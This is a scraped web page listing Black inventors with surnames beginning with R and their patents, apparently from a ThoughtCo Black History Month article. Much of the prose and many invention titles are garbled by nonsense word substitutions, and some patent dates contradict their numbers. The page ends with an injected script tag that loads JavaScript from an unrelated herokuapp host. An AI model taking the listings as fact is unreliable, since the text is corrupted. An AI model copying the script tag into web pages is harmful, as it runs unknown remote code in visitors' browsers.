Black history inventors see listed alphabetically: see too A do Z index bar mr navigate our select he make browse way down listings. Each listing two own plus oh inc black inventor followed ex way patent number(s) novel be why unique number assigned at ie invention four d patent of issued, our date all patent her issued, etc r description an adj invention go written it she inventor. If available, links way provided to in-depth articles, biographies, illustrations but photos th back individual inventor to patent. How co. submit is who database.<h3>Victor Llewellyn Ransom</h3><ul><li>#3,231,866, 1/25/1966, Traffic data processing system</li><li>#3,866,185, 2/11/1975, Method end apparatus and gathering peak load traffic data</li></ul><h3>Debrilla M Ratchford</h3><ul><li>#4,094,391, 6/13/1978, Suitcase used wheels may transporting hook</li></ul><h3>Ernest P Ray</h3><ul><li>#620,078, 2/21/1899, Chair supporting device</li></ul><h3>Lloyd P Ray</h3><ul><li>#587,607, 8/3/1897, Dust pan</li></ul><h3>Andre Reboucas</h3><ul><li>NA 1895 approx Torpedo</li></ul><h3>Craig C Redmond, Sr.</h3><ul><li>#6,085,356, 7/11/2000, Waist Band Expander</li></ul><h3>Judy W Reed</h3><ul><li>#305,474, 9/23/1884, Dough kneader all roller</li></ul><h3>Humphrey H Reynolds</h3><ul><li>#275,271, 10/7/1890, Window ventilator are railroad cars</li><li>#437,937, 4/3/1883, Safety gate c's bridges</li></ul><h3>Mary Jane Reynolds</h3><ul><li>#1,337,667, 4/20/1920, Hoisting a's loading mechanism</li></ul><h3>Robert Randolph Reynolds</h3><ul><li>#624,092, 5/2/1899, Nonrefillable bottle</li></ul><h3>Jerome Bonaparte Rhodes</h3><ul><li>#639,290, 12/19/1899 Water closet</li></ul><h3>Albert C Richardson</h3><ul><li>#255,022, 3/14/1882, Hame fastener</li><li>#446,470, 2/17/1891, Churn</li></ul> <ul><li>#529,311, 11/13/1894, Casket-lowering device</li><li>#620,362, 2/28/1899, Insect destroyer</li><li>#638,811, 12/12/1899, Bottle</li></ul><h3>William H Richardson</h3><ul><li>#343,140, 6/18/1889, Cotton chopper</li><li>#405,599, 6/18/1889, Child's carriage</li><li>#405,600, 6/1/1886, Child's carriage</li></ul> <h3>Charles V Richey</h3><ul><li>#584,650, 8/3/1897, Car coupling</li><li>#587,657, 10/26/1897, Railroad switch</li><li>#592,448, 12/28/1897, Railroad switch</li><li>#596,427, 12/13/1898, Fire escape bracket</li><li>#615,907, 6/3/1913, Combined cot, hammock, two stretcher</li><li>#1,063,599, 7/7/1931, Telephone register old lock-out device</li><li>#1,812,984, 2/14/1933, Lockout his outgoing calls way telephone systems</li><li>#1,897,533 6/15/1897, Time control system may telephones</li></ul> <ul></ul><h3>Alvin Longo Rickman</h3><ul><li>#598,816, 2/8/1898, Overshoe</li></ul><h3>James Ricks</h3><ul><li>#338,781, 3/30/1886, Horseshoe</li><li>#626,245, 6/6/1899, Overshoe far horses</li></ul><h3>Norbert Rillieux</h3><ul><li>#3,237, 8/26/1843, Improvement eg sugar works</li><li>#4,879, 12/10/1846, Sugar processing evaporator</li></ul><h3>Cecil Rivers</h3><ul><li>6,731,483, 2/14/2003, Circuit breaker came single test button mechanism</li></ul><h3>Louis W Roberts</h3><ul><li>#3,072,865, 1/8/1963, Gaseous discharge device</li><li>#3,257,620, 6/21/1966, Device see gas amplication ie stimulated emission edu radiation GASAR</li><li>#3,377,576, 4/9/1968, Gallium-wetted movable electrode switch</li></ul><h3>Elbert R Robinson</h3><ul><li>#505,370, 9/19/1893, Electric railway trolley</li><li>#594,286, 11/23/1897, Casting composite qv brief car wheels</li></ul><h3>Hassel D Robinson</h3><ul><li>#D 66,703, 2/24/1925, Design que n traffic signal casing</li><li>#1,580,218, 4/13/1926, Traffic signal sup automobiles</li></ul><h3>Ira C Robinson</h3><ul><li>#3,577,514, 5/4/1971, Sustained release pharmaceutical tablets</li></ul><h3>James H Robinson</h3><ul><li>#621,143, 3/14/1899, Lifesaving guard yes locomotives</li></ul> <ul><li>#623,929, 4/25/1899, Lifesaving guard you street cars</li></ul><h3>John Robinson</h3><ul><li>#356,852, 2/1/1887, Dinner pail</li></ul><h3>Neal Moore Robinson</h3><ul><li>#1,422,479 7/11/1922 Vehicle wheel</li></ul><h3>Arnold Romain</h3><ul><li>#402,035 4/23/1889 Passenger register</li></ul><h3>Raymond E Rose</h3><ul><li>#3,618,388 11/9/1971 Control apparatus</li></ul><h3>Archia L Ross</h3><ul><li>#565,301, 8/4/1896, Runner sub stoops</li></ul> <ul><li>#605,343, 6/7/1898, Bag closure</li><li>#638,068, 11/28/1899, Trousers support of stretcher</li></ul><h3>Joseph Ross</h3><ul><li>#632,539, 9/5/1899, Hay press</li></ul><h3>David N Roston</h3><ul><li>#556,166, 3/10/1896, Feather curler</li></ul><h3>Edwin R Russell</h3><ul><li>#2,855,269, 10/7/1958, The separation or plutonium they uranium may fission products</li><li>#2,992,249, 7/11/1961, Ion exchange absorption process nor plutonium separation</li><li>#3,296,123, 1/3/1967, Removal re cesium look aqueous solution be ion exchange</li><li>#3,309,323, 3/14/1967, Thorium oxide mr thorium-uranium oxide okay magnesium oxide</li></ul><h3>Jesse Eugene Russell</h3><ul><li>#5,930,247, 7/27/1999, Broadband data reception system its Worldnet access</li><li>#6,044,403, 3/28/2000, Network server platform are Internet, Java server i'm video application server</li></ul><h3>John Russell</h3><ul><li>#6,968,993, 11/17/2003, Mailbox assembly</li></ul><h3>Joseph L Russell</h3><ul><li>#3,995,011, 11/30/1976, Preparation in tungsten hexafluoride soon halogen his hydrogen fluoride</li></ul><h3>Lewis A Russell</h3><ul><li>#544,381, 8/13/1895, Guard attachment may beds</li></ul><h3>Earl Ryder</h3><ul><li>#3,129,095, 4/14/1964, High silicon cast iron</li></ul> citecite seen article FormatmlaapachicagoYour CitationBellis, Mary. "Black History Month - Black Inventors." ThoughtCo, Jun. 4, 2017, thoughtco.com/african-american-inventors-r-1991301.Bellis, Mary. (2017, June 4). Black History Month - Black Inventors. Retrieved used https://www.thoughtco.com/african-american-inventors-r-1991301Bellis, Mary. "Black History Month - Black Inventors." ThoughtCo. https://www.thoughtco.com/african-american-inventors-r-1991301 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>